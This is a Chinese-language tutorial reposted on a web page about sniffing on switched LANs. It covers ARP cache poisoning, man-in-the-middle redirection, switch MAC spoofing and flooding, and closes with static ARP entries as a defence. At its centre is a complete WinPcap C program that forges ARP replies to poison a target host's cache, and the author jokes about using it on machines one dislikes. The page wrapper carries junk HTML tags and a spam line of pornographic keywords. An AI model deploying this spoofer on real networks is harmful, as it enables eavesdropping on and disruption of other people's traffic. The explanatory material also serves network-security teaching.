• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • 交換網絡中的嗅探和ARP欺騙

    發表于:2007-06-23來源:作者:點擊數: 標簽:
    以太網內的嗅探(sniff)對于 網絡安全 來說并不是什么好事,雖然對于網絡管理員能夠跟蹤數據包并且發現網絡問題,但是如果被破壞者利用的話,就對整個網絡構成嚴重的安全威脅。至于嗅探的好處和壞處就不羅嗦了。 ARP緩存表 假設這樣一個網絡: ——————

       
      以太網內的嗅探(sniff)對于網絡安全來說并不是什么好事,雖然對于網絡管理員能夠跟蹤數據包并且發現網絡問題,但是如果被破壞者利用的話,就對整個網絡構成嚴重的安全威脅。至于嗅探的好處和壞處就不羅嗦了。

    ARP緩存表

    假設這樣一個網絡:


                 ——————————
                 |       HUB        |
                 ——————————
                    |      |      | 
                    |      |      | 
                    |      |      | 
                 HostA   HostB   HostC 
     


    其中

    A的地址為:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

    B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

    C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

    假設B是屬于一個嗅探愛好者的,比如A機器的ARP緩存:

         
    C:\>arp -a
    Interface: 192.168.10.1 on Interface 0x1000003
      Internet Address      Physical Address      Type
      192.168.10.3          CC-CC-CC-CC-CC-CC     dynamic   


    這是192.168.10.1機器上的ARP緩存表,假設,A進行一次ping 192.168.10.3操作,PING主機C,會查詢本地的

    ARP緩存表,找到C的IP地址的MAC地址,那么就會進行數據傳輸,目的地就是C 的MAC地址。如果A中沒有C的ARP記

    錄,那么A首先要廣播一次ARP請求,當C接收到A 的請求后就發送一個應答,應答中包含有C的MAC地址,然后A接

    收到C的應答,就會更新本地的ARP緩存。接著使用這個MAC地址發送數據(由網卡附加MAC地址)。

    因此,本地高速緩存的這個ARP表是本地網絡流通的基礎,而且這個緩存是動態的。

    集線器網絡(Hub-Based)

    很多網絡都是用Hub進行連接的。數據包經過Hub傳輸到其他計算機的時候,Hub只是簡單地把這個數據包廣播

    到Hub的所有端口上。

    這就是上面舉例中的一種網絡結構。

    現在A需要發送TCP數據包給C。首先,A需要檢查本地的ARP 緩存表,查看是否有IP為192.168.10.3即C的ARP記

    錄,如果沒有那么A將要廣播一個ARP請求,當C接收到這個請求后,就作出應答,然后A更新自己的ARP緩存表。并

    且獲得與C的IP相對應的MAC地址。這時就傳輸這個TCP數據包,Ethernet幀中就包含了C的MAC地址。當數據包傳輸

    到HUB的時候,HUB直接把整個數據包廣播到所有的端口,然后C就能夠接收到A發送的數據包。

    正因為HUB把數據廣播到所有的端口,所以計算機B也能夠收到A發送給C的數據包。這正是達到了B嗅探的目的。

    因此,Hub-Based的網絡基本沒有安全可言,嗅探在這樣的網絡中非常容易。

    交換網絡(Switched Lan)

    交換機用來代替HUB,正是為了能夠解決HUB的幾個安全問題,其中就是能夠來解決嗅探問題。Switch不是把數

    據包進行端口廣播,它將通過自己的ARP緩存來決定數據包傳輸到那個端口上。因此,在交換網絡上,如果把上面

    例子中的HUB換為Switch,B就不會接收到A發送給C的數據包,即便設置網卡為混雜模式,也不能進行嗅探。

    ARP欺騙( ARP spoofing)

    ARP協議并不只在發送了ARP請求才接收ARP應答。當計算機接收到ARP應答數據包的時候,就會對本地的ARP緩存

    進行更新,將應答中的IP和MAC地址存儲在ARP緩存中。因此,在上面的假設網絡中,B向A發送一個自己偽造的ARP應

    答,而這個應答中的數據為發送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地

    址本來應該是CC-CC-CC-CC-CC-CC,這里被偽造了)。當A接收到B偽造的ARP應答,就會更新本地的ARP緩存(A可不

    知道被偽造了)。

    現在A機器的ARP緩存更新了:

         
    C:\>arp -a
    
    Interface: 192.168.10.1 on Interface 0x1000003
      Internet Address      Physical Address      Type
      192.168.10.3          DD-DD-DD-DD-DD-DD     dynamic   


    這可不是小事。局域網的網絡流通可不是根據IP地址進行,而是按照MAC地址進行傳輸?,F在192.168.10.3的

    MAC地址在A上被改變成一個本不存在的MAC地址?,F在A開始Ping 192.168.10.3,網卡遞交的MAC地址是

    DD-DD-DD-DD-DD-DD,結果是什么呢?網絡不通,A根本不能Ping通C??!

    這就是一個簡單的ARP欺騙。

    我們來實現這樣的ARP欺騙。這里需要使用一個WinPcap提供的API和驅動。(http://winpcap.polito.it/)

    winpcap是一個偉大而且開放的項目。Windows環境下的nmap、snort、windump都是使用的winpcap。

         
    ///////////////////////////////////////////////////////
    //
    //                ARP Sender
    //
    //           Creator:    Refdom
    //           Email:      refdom@263.net
    //           Home Page:  www.opengram.com
    //
    //           2002/4/7
    //
    ///////////////////////////////////////////////////////
    #include "stdafx.h"
    #include "Mac.h"
    //GetMacAddr(),我寫的把字符串轉換為MAC地址的函數,就不列在這里了
    #include 
    #include 
    
    #define EPT_IP0x0800/* type: IP*/
    #define EPT_ARP0x0806/* type: ARP */
    #define EPT_RARP0x8035/* type: RARP */
    #define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames  */
    #defineARP_REQUEST0x0001/* ARP request */
    #defineARP_REPLY0x0002/* ARP reply */
    
    #define Max_Num_Adapter 10
    
    #pragma pack(push, 1)
    
    typedef struct ehhdr 
    {
    unsigned chareh_dst[6];/* destination ethernet addrress */
    unsigned chareh_src[6];/* source ethernet addresss */
    unsigned shorteh_type;/* ethernet pachet type*/
    }EHHDR, *PEHHDR;
    
    
    typedef struct arphdr
    {
    unsigned shortarp_hrd;/* format of hardware address */
    unsigned shortarp_pro;/* format of protocol address */
    unsigned chararp_hln;/* length of hardware address */
    unsigned chararp_pln;/* length of protocol address */
    unsigned shortarp_op;/* ARP/RARP operation */
    
    unsigned chararp_sha[6];/* sender hardware address */
    unsigned longarp_spa;/* sender protocol address */
    unsigned chararp_tha[6];/* target hardware address */
    unsigned longarp_tpa;/* target protocol address */
    }ARPHDR, *PARPHDR;
    
    typedef struct arpPacket
    {
    EHHDRehhdr;
    ARPHDRarphdr;
    } ARPPACKET, *PARPPACKET;
    
    #pragma pack(pop)
    
    int main(int argc, char* argv[])
    {
    static char AdapterList[Max_Num_Adapter][1024];
    char szPacketBuf[600];
    char MacAddr[6];
    
    LPADAPTERlpAdapter;
    LPPACKETlpPacket;
    WCHARAdapterName[2048];
    WCHAR*temp,*temp1;
    ARPPACKET ARPPacket;
    
    ULONG AdapterLength = 1024;
    
    int AdapterNum = 0;
    int nRetCode, i;
    
    //Get The list of Adapter
    if(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE)
    {
    printf("Unable to retrieve the list of the adapters!\n");
    return 0;
    }
    
    temp = AdapterName;
    temp1=AdapterName;
    i = 0;
    while ((*temp != '\0')||(*(temp-1) != '\0'))
    {
    if (*temp == '\0') 
    {
    memcpy(AdapterList[i],temp1,(temp-temp1)*2);
    temp1=temp+1;
    i++;
    }
    
    temp++;
    }
    
    AdapterNum = i;
    for (i = 0; i < AdapterNum; i++)
    wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
    printf("\n");
    
    //Default open the 0
    lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
            //取第一個網卡(假設啦)
    
    if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
    {
    nRetCode = GetLastError();
    printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
    return 0;
    }
    
    lpPacket = PacketAllocatePacket();
    if(lpPacket == NULL)
    {
    printf("\nError:failed to allocate the LPPACKET structure.");
    return 0;
    }
    
    ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
    
    if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
    {
    printf ("Get Mac address error!\n");
    }
    memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //源MAC地址
    
    if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
    {
    printf ("Get Mac address error!\n");
    return 0;
    }
    memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    //目的MAC地址。(A的地址)
    
    ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
    
    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
    ARPPacket.arphdr.arp_pro = htons(EPT_IP);
    ARPPacket.arphdr.arp_hln = 6;
    ARPPacket.arphdr.arp_pln = 4;
    ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
    
    if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
    {
    printf ("Get Mac address error!\n");
    return 0;
    }
    memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//偽造的C的MAC地址
    ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");   //C的IP地址
    
    if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
    {
    printf ("Get Mac address error!\n");
    return 0;
    }
    memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);  //目標A的MAC地址
    ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");   //目標A的IP地址
    
    memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
    PacketInitPacket(lpPacket, szPacketBuf, 60);
    
    if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
    {
      printf("warning: Unable to send more than one packet in 
               a single write!\n");
    }
    
    if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
    {
    printf("Error sending the packets!\n");
    return 0;
    }
    
    printf ("Send ok!\n");
    
    // close the adapter and exit
    PacketFreePacket(lpPacket);
    PacketCloseAdapter(lpAdapter);
    return 0;
    }   


    于是A接收到一個被偽造的ARP應答。A被欺騙了??!倘若在局域網中看某某機器不順眼,……

    以太網中的嗅探太有作用了,但是交換網絡對嗅探進行了限制,讓嗅探深入程度大打折扣。不過,很容易就能

    夠發現,主機、Switch(動態更新地址表類型,下同)中的緩存表依然是(主要是)動態的。要在一個交換網絡中

    進行有效的嗅探工作(地下黨?),需要采用對付各種緩存表的辦法,連騙帶哄,甚至亂踹,在上面的ARP欺騙基礎

    中我們就能夠做到。

    對目標進行ARP欺騙

    就象上面程序中實現的一樣,對目標A進行欺騙,A去Ping主機C卻發送到了DD-DD-DD-DD-DD-DD這個地址上。如

    果進行欺騙的時候,把C的MAC地址騙為BB-BB-BB-BB-BB-BB,于是A發送到C上的數據包都變成發送給B的了。這不正

    好是B能夠接收到A發送的數據包了么,嗅探成功。

    A對這個變化一點都沒有意識到,但是接下來的事情就讓A產生了懷疑。因為A和C連接不上了??!B對接收到A發送

    給C的數據包可沒有轉交給C。

    做“man in the middle”,進行ARP重定向。打開B的IP轉發功能,A發送過來的數據包,轉發給C,好比一個路由

    器一樣。不過,假如B發送ICMP重定向的話就中斷了整個計劃。

    直接進行整個包的修改轉發,捕獲到A發送給的數據包,全部進行修改后再轉發給C,而C接收到的數據包完全認為

    是從A發送來的。不過,C發送的數據包又直接傳遞給A,倘若再次進行對C的ARP欺騙?,F在B就完全成為A與C的中間橋

    梁了。

    對Switch的MAC欺騙

    Switch上同樣維護著一個動態的MAC緩存,它一般是這樣,首先,交換機內部有一個對應的列表,交換機的端口對

    應MAC地址表Port n <-> Mac記錄著每一個端口下面存在那些MAC地址,這個表開始是空的,交換機從來往數據幀中學

    習。舉例來說,當Port 1口所接的計算機發出了一個數據幀,這幀數據從Port 1進入交換機,交換機就取這個數據幀

    的原MAC地址AAAA,然后在地址表中記錄:Port 1 <-> AAAA, 以后,所有發向MAC地址為AAAA的數據幀,就全從Port 1

    口輸出,而不會從其它的口輸出。

    跟前面對目標進行欺騙相類似。如果把Switch上的MAC-PORT表修改了,那么對應的MAC和PORT就一樣跟著改變,本來

    不應該發送到嗅探器的數據結果發送過來了,這樣也達到了嗅探的目的。修改本地(B)發送的數據包MAC地址為原來A的

    MAC地址,當經過交換機的時候,交換機發現端口B對應的地址是機器A的MAC地址,于是就將會把A的MAC地址同端口B相對

    應,從而把發送給A的數據從端口B傳輸了,本來這些應該是傳送到端口A的。因此,從機器B就能夠獲得發送給A的數據。

    但是,這里有一個問題,A將接收不到數據了。嗅探不目的并不是要去破壞正常的數據通訊。同時,從剛才的欺騙中,

    讓交換機中一個MAC地址對應了多個端口,這種對于交換機處理還不清楚。還請多指教。

    對Switch進行Flood

    就象上面介紹Switch的MAC和Port對應關系形成的原理,因為MAC-PORT緩存表是動態更新的,那么讓整個Switch的端

    口表都改變,對Switch進行MAC地址欺騙的Flood,不斷發送大量假MAC地址的數據包,Switch就更新MAC-PORT緩存,如果

    能通過這樣的辦法把以前正常的MAC和Port對應的關系破壞了,那么Switch就會進行泛洪發送給每一個端口,讓Switch基

    本變成一個HUB,向所有的端口發送數據包,要嗅探的目的一樣能夠達到。

    存在的問題,Switch對這種極限情況的處理,因為屬于不正常情況,可能會引起包丟失情況。而且現在對這種極限情

    況的Switch狀態還很不了解。如果對網絡通訊造成了大的破壞,這不屬于正常的嗅探(嗅探也會引起一些丟失)。

    對Switch進行各種手段的操作,需要小心,如果打開了端口保護,那么可能會讓交換機關閉所有用戶。因此,對交換

    機這樣的設備進行欺騙或者其他操作,還不如對一些上級設備進行欺騙,比如目標主機或者路由器。

    至于上面關于嗅探的手段都是基于這個動態表進行的。因此,使用靜態的ARP就能夠進行防范了。對于WIN,使用

    arp -s 來進行靜態ARP的設置。

    感謝winpcap這個開放項目,也感謝Dancefire提供的大量幫助和指正。我在網絡設備上的了解還很不夠,還請多指正。

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>